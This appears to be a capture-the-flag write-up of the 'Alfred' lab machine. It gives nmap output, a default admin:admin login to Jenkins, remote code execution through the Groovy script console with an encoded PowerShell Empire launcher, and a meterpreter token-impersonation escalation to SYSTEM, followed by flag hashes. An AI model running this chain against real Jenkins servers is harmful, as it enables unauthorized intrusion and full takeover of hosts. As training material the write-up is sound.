

Enumeration

```
# we find a jenkins server running on port 8080
```

```
# PAssword spraying worked and logged in with admin:admin
```

```
# We can now use the groovy script build console to get code execution on the machine
```


PortScan

```
PORT    STATE SERVICE      REASON          VERSION
80/tcp  open  http          syn-ack ttl 125 Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/7.5
|_ http-title: Site doesn't have a title (text/html).
3389/tcp open  ms-wbt-server? syn-ack ttl 125
| rdp-ntlm-info:
|   Target_Name: ALFRED
|   NetBIOS_Domain_Name: ALFRED
|   NetBIOS_Computer_Name: ALFRED
|   DNS_Domain_Name: alfred
|   DNS_Computer_Name: alfred
|   Product_Version: 6.1.7601
|_ System_Time: 2021-12-21T09:41:12+00:00
| ssl-cert: Subject: commonName=alfred
| Issuer: commonName=alfred
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-12-20T09:28:12
| Not valid after: 2022-06-21T09:28:12
| MD5: 6ad1 1f76 7156 4387 3801 f755 0629 34db
| SHA-1: 3892 55fd 0f61 7f12 dff4 2564 6b8b 4bbc 15b9 f3ec
| -----BEGIN CERTIFICATE-----
| MIIC0DCCABigAwIBAgIQLdswxtO0QK9G6/ekHt0j/TANBgkqhkiG9w0BAQUFADAR
| MQ8wDQYDVQQDEwZhbGZyZWQwHhcNMjExMjEwMDkyODEyWhcNMjEwMDkyODEy
| WjARMQ8wDQYDVQQDEwZhbGZyZWQwGgEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
| AoIBAQCpnDzn6YMf56JmJjarII92SkuBNeYAPpj2b2JeG3u1QBEzde/QFpVgwdHk
| 5t9pocO3dzVoER1w0rGDYzgXTzmgmb/euYqrrB3th6OwoeY8EY0x1o4KeWEG4wl0v
| QZuxXUfPkUj8p4Oik9RIs9tWTwHLPML4yzEp5zXEU2FQtcXO00zHS0uU4Npooa
| U9cjlJ2ZyuLxXgVze9QUZDGO2l68qDH66ALk6GdynpUe5YO4DnVfp2i5lr4u/P4P
| vu/0ndvBMMkdZUcQ2V8OF93kbMNE9kq7kif8szl0cEi0O7XAIAVX4/0gDmqVK9zx
| e0R4Fi6vPFEXeAmMg4skjLkIHvWnAgMBAAGjJDAiMBMGGA1UdJQQMMAoGCCsGAQUF
| BwMBMAAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQUFAAOCAQEATd5u3uK80LtrkgFk
| tliSnkByB1ug7rWQd6MD2vt63Dj9uV1VY0Po9C9YhSkVOT0oj3IYb3SLph3WONX7
| K17bOlVHEMAuwrXxUoy43sJG6dKSy5p7HoCi6833nr/4IO3koc23Dd1dNPzWdhyl
| 6sFQrh/80HkbRqjZzaxxALwpJ61/7VXknj/R2zMwP58BuVWxA9C2oKG58vRZufRD
| +bvCIVrHojyUf6Ohm9222nwnCs/YWZJP5GMwPzXK6AjfVfMnwggLeP5J48lfb+su
| 8hFB88dHIYxiMI3QWm8F5+ijhr4GreX3Y79U3kIOITlqwKqFDHdBHDLgQonDGivc
| 2+9ifQ==
| -----END CERTIFICATE-----
|_ ssl-date: 2021-12-21T09:41:19+00:00; -1s from scanner time.
8080/tcp open  http          syn-ack ttl 125 Jetty 9.4.z-SNAPSHOT
|_ http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
```

| http-robots.txt: 1 disallowed entry
 |_
 |_http-server-header: Jetty(9.4.z-SNAPSHOT)
 |_http-title: Site doesn't have a title (text/html; charset=utf-8).
 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
 Device type: general purpose|phone|specialized
 Running (JUST GUESSING): Microsoft Windows 2008|7|Phone|8.1|Vista (90%)
 OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_7
 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
 Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%)
 No exact OS matches for host (test conditions non-ideal).

Exploitation

We can use the jenkins groovy script build to get code execution



Script Console

Type in an arbitrary [Groovy script](#) and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'println' command to see the output (if you use System.out, it will go to the server's stdout, which is harder to see.) Example:

```
println(Jenkins.instance.pluginManager.plugins)
```



All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

```

1 def process = "PowerShell.exe powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIACwBJAG8ATgBUAGEAYgBsAGUALgBQAFMAVgB8LAHIAcwBpAG8AbgAuAE0AQ0BKAG8AcgAgAC0AZwBFACAMwApAHsAJA
2 println "Found text ${process.text}"

```

we used empire launcher and listener to get a c2 infrastructure setup

<input type="checkbox"/>	Name	Last Seen	First Seen	Hostname	Process	Architecture	Language	Username	Internal IP	Actions
<input type="checkbox"/>	 PR23K1ED	a few seconds ago	a few seconds ago	ALFRED	powershell	x86	powershell	alfred/bruce	10.10.6.238	

We got a agent back and now we can interact with the target machine

PostExploitation

we have interactive session with target

Task ID ↓	Task Command
3	whoami
Task Command:	
whoami	
Task Result:	
alfred\bruce	

we try to get a reverse shell because empire wasnt working stably

whoami /priv showed that we can impersonate a user

SeManageVolumePrivilege	Perform volume maintenance tasks	Disabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled

Got a msf session and impersonated administrator

```
meterpreter > impersonate_token BUILTIN\Administrators
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[-] User token BUILTINAdministrators not found
meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter >
```

Loot

Credentials

Flags

user

79007a09481963edf2e1321abd9ae2a0

System

dff0f748678f280250f25a45b8046b4a